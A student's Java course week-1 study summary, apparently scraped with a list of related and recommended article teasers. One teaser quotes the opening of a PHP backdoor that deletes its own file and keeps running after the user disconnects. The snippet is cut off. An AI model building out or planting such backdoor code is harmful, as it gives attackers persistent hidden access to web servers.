20155212 2016-2017-2 《Java程序设计》第1周学习总结
20155212 2016-2017-2 《Java程序设计》第1周学习总结
教材学习内容总结
Chapter 1 Java平台概论
- Java一开始就是为了有着有限内存与运算资源的消费型数字产品而设计,而当今的信息时代中各类电子产品的普及使得现如今Java学习如此火爆。
- Java三大平台:Java SE、Java EE与Java ME
- Java SE可分为四个部分:JVM、JRE、JDK与Java语言。
- Java EE 以Java SE为基础,定义了一系列的服务、API、协议等,体系庞大。
Java ME是小型数字设备上开发及部署应用程序的平台。
Chapter 2 从JDK 到IDE
- PATH中设定工具程序的路径信息,系统才可以在PATH中找到需要执行的指令。
- CLASSPATH是JVM的可执行文件的路径信息。
- SOURCEPATH指原始码文档存放路径。
- package防止发生名称冲突。
- 同一包下使用import减少输入。
教材学习中的问题和解决过程
- 教材中是在Windows环境下学习Java,老师让我们在linux上学习java有什么好处呢?
- JDK与IDE的对应关系是什么?
- IDE 是用来编写代码的,JDK是用来编译代码的。先用 IDE 写好代码,然后再用JDK将其编译。因此我们在按照IDEA的时候要选择JDK的安装目录。
- 什么是静态成员?
- System.arraycopy()和Arrays.copyOf()用在类类型声明的数组时,为什么说是执行浅层复制?
- 封装后把对象当作黑箱使用有什么意义?
- 什么是滥用继承?滥用继承容易导致程序维护上的问题,那我们应如何使用继承以规避程序维护的问题呢?
- 用接口相比较用继承而言的优势是什么?
- 如何捕捉包装错误的对象?
- 如何使用collection?
- 在不使用InputStream与OutputStream时,如果不关闭串流会怎样?
- 什么是线程之间的竞争?
12.什么是匿名类? - 机器时间观点与人类时间观点有什么不同?
- NIO2相比NIO有什么进步之处?
- 什么是静态方法?
- 如何避免多个交易并行是引发的数据不一致问题?
- 使用静态代理和动态代理解决维护日志程序代码的问题时各自的优势是什么?
有哪些方法可以抑制警告?
代码托管

学习进度条
| 代码行数(新增/累积) | 博客量(新增/累积) | 学习时间(新增/累积) | 重要成长 | |
|---|---|---|---|---|
| 目标 | 5000行 | 30篇 | 400小时 | |
| 第一周 | 18/18 | 1/1 | 10/10 |
计划学习时间:21小时
实际学习时间:10小时
参考资料
20155212 2016-2017-2 《Java程序设计》第1周学习总结的更多相关文章
- 20155306 2016-2017-2 《Java程序设计》第九周学习总结
20155306 2016-2017-2 <Java程序设计>第九周学习总结 教材学习内容总结 第十六章 整合数据库 16.1 JDBC入门 Java语言访问数据库的一种规范,是一套API ...
- 20155236 2016-2017-2 《Java程序设计》第九周学习总结
20155236 2016-2017-2 <Java程序设计>第九周学习总结 教材学习内容总结 JDBC入门 1.JDBC简介 JDBC是用于执行SQL的解决方案,开发人员使用JDBC的标 ...
- 20145213《Java程序设计》第九周学习总结
20145213<Java程序设计>第九周学习总结 教材学习总结 "五一"假期过得太快,就像龙卷风.没有一点点防备,就与Java博客撞个满怀.在这个普天同庆的节日里,根 ...
- 20145213《Java程序设计》第二周学习总结
20145213<Java程序设计>第二周学习总结 教材学习内容总结 本周娄老师给的任务是学习教材的第三章--基础语法.其实我觉得还蛮轻松的,因为在翻开厚重的书本,一股熟悉的气息扑面而来, ...
- 20145213《Java程序设计》第一周学习总结
20145213<Java程序设计>第一周学习总结 教材学习内容总结 期待了一个寒假,终于见识到了神秘的娄老师和他的Java课.虽说算不上金风玉露一相逢,没有胜却人间无数也是情理之中,但娄 ...
- 21045308刘昊阳 《Java程序设计》第九周学习总结
21045308刘昊阳 <Java程序设计>第九周学习总结 教材学习内容总结 第16章 整合数据库 16.1 JDBC入门 16.1.1 JDBC简介 数据库本身是个独立运行的应用程序 撰 ...
- 20145330孙文馨 《Java程序设计》第一周学习总结
20145330孙文馨 <Java程序设计>第一周学习总结 教材学习内容总结 刚开始拿到这么厚一本书说没有压力是不可能的,开始从头看觉得很陌生进入不了状态,就稍微会有一点焦虑的感觉.于是就 ...
- 20145337 《Java程序设计》第九周学习总结
20145337 <Java程序设计>第九周学习总结 教材学习内容总结 数据库本身是个独立运行的应用程序 撰写应用程序是利用通信协议对数据库进行指令交换,以进行数据的增删查找 JDBC可以 ...
- 20145337 《Java程序设计》第二周学习总结
20145337 <Java程序设计>第二周学习总结 教材学习内容总结 Java可分基本类型与类类型: 基本类型分整数(short.int.long).字节(byte).浮点数(float ...
- 20145218《Java程序设计》第一周学习总结
20145218 <Java程序设计>第一周学习总结 教材学习内容总结 今天下午看了Java学习的视频,感觉很是新奇,之前觉得Java学起来是艰难枯燥的,但通过第一章的学习觉得如果自己可以 ...
随机推荐
- ETCD TLS 配置的坑
一.环境准备 环境总共 3 台虚拟机,系统为centos7,1个 master,2 个 etcd 节点,master 同时也作为 node 负载 pod,在分发证书等阶段将在另外一台主机上执行,该主机 ...
- Redis数据的底层存储原理
redis底层是用什么结构来存储数据的呢? 我们从源码上去理解就会容易的多: redis底层是使用C语言来编写的,我们可以看到它的数据结构声明.一个 dict 有两个dictht,一个dictht ...
- 捡了一个非常淫荡的PHP后门,给跪了
<?php unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_fi ...
- IOS http(上传和下载)
HttpTool.h #import <Foundation/Foundation.h> typedef void (^HttpToolProgressBlock)(CGFloat pro ...
- js字符串和数组
sustr substring slice的联系与区别 str.substr(2,5) //从索引2开始截取5个字符,原有字符串str不变 str.substring(2,5) //从索引2开始截 ...
- [19/04/15-星期一] 基于Socket(套接字)的TCP和UDP通讯的实现
一.TCP 在网络通讯中,第一次主动发起通讯的程序被称作客户端(Client)程序,简称客户端,而在第一次通讯中等待连接的程序被称作服务器端(Server)程序, 简称服务器.一旦通讯建立,则客户端和 ...
- expand_dims函数
>>> x = np.array([1,2]) >>> x.shape (2,) >>> y = np.expand_dims(x, axis=0 ...
- iOS 二维码生成 记录一下
#import <CoreImage/CoreImage.h> @property (nonatomic, nonnull , strong) UIImageView *showImage ...
- 指纹协查统计sql
select dic.name, NVL(zc.zc_djzs,0),NVL(zc.zc_shzs,0),NVL(zc.zc_bzzs,0), NVL(zt.zt_djzs,0),NVL(zt.zt ...
- nDPI 的论文阅读和机制解析
nDPI: Open-Source High-Speed Deep Packet Inspection Wireless Communications & Mobile Computing C ...